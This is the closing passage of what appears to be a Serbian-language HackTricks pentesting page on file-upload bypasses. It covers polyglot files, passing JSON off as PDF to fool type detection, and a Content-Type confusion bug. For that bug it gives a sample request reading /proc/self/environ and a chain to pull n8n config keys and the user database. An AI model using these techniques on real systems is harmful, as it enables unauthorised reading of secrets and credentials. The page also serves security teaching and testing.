Osnovna korisnost polyglot fajlova leži u njihovoj sposobnosti da zaobiđu bezbednosne mere koje filtriraju fajlove po tipu. Uobičajena praksa u raznim aplikacijama je dozvoljavanje samo određenih tipova fajlova za upload—poput JPEG, GIF ili DOC—kako bi se smanjio rizik od potencijalno opasnih formata (npr. JS, PHP ili Phar fajlova). Međutim, polyglot, prilagođavajući se strukturnim kriterijumima više formata fajlova, može tiho zaobići ta ograničenja.
Uprkos svojoj prilagodljivosti, polyglot-i imaju ograničenja. Na primer, dok polyglot može istovremeno biti PHAR (PHp ARchive) i JPEG, uspeh njegovog upload-a može zavisiti od politike platforme u vezi sa ekstenzijama fajlova. Ako je sistem strogo ograničen po dozvoljenim ekstenzijama, sama strukturalna dvojnost polyglot-a možda neće biti dovoljna da garantuje upload.
More information in: https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a
Upload valid JSONs like if it was PDF
Kako izbеći detekciju tipa fajla tako što ćete upload-ovati validan JSON fajl čak i ako nije dozvoljen, falsifikujući ga kao PDF fajl (tehnike iz this blog post):
mmmagiclibrary: Dokle god su%PDFmagic bajtovi u prvih 1024 bajta, smatra se validnim (pogledajte primer u postu)pdfliblibrary: Ubacite lažni PDF format unutar polja JSON-a tako da biblioteka pomisli da je u pitanju pdf (pogledajte primer u postu)filebinary: Može da pročita do 1048576 bajta iz fajla. Jednostavno kreirajte JSON veći od toga tako da ne može da parsira sadržaj kao json, a zatim unutar JSON-a stavite početni deo pravog PDF-a i pomisliće da je u pitanju PDF
Content-Type confusion to arbitrary file read
Neki upload handleri veruju parsiranom telu zahteva (npr. context.getBodyData().files) i kasnije kopiraju fajl iz file.filepath bez prethodnog forsiranja Content-Type: multipart/form-data. Ako server prihvata application/json, možete poslati lažni objekat files koji filepath pokazuje na bilo koji lokalni path, pretvarajući upload tok u primitive za arbitrary file read.
Example POST against a form workflow returning the uploaded binary in the HTTP response:
POST /form/vulnerable-form HTTP/1.1
Host: target
Content-Type: application/json
{
"files": {
"document": {
"filepath": "/proc/self/environ",
"mimetype": "image/png",
"originalFilename": "x.png"
}
}
}
Backend kopira file.filepath, tako da odgovor vraća sadržaj tog puta. Uobičajeni lanac: pročitaj /proc/self/environ da biste saznali $HOME, zatim $HOME/.n8n/config za ključeve i $HOME/.n8n/database.sqlite za identifikatore korisnika.
References
- n8n form upload Content-Type confusion → arbitrary file read PoC
- When Audits Fail: Four Critical Pre-Auth Vulnerabilities in TRUfusion Enterprise
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files
- https://github.com/modzero/mod0BurpUploadScanner
- https://github.com/almandin/fuxploider
- https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html
- https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
- https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a
- https://blog.doyensec.com/2025/01/09/cspt-file-upload.html
- usd HeroLab – Gibbon LMS arbitrary file write (CVE-2023-45878)
- NVD – CVE-2023-45878
- 0xdf – HTB: TheFrizz
- The Art of PHP: CTF‑born exploits and techniques
- CVE-2024-21546 – NVD entry
- PoC gist for LFM .php. bypass
- 0xdf – HTB Environment (UniSharp LFM upload → PHP RCE)
- HTB: Media — WMP NTLM leak → NTFS junction to webroot RCE → FullPowers + GodPotato to SYSTEM
- Microsoft – mklink (command reference)
- 0xdf – HTB: Certificate (ZIP NUL-name and stacked ZIP parser confusion → PHP RCE)
- When Audits Fail: From Pre-Auth SSRF to RCE in TRUfusion Enterprise
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.


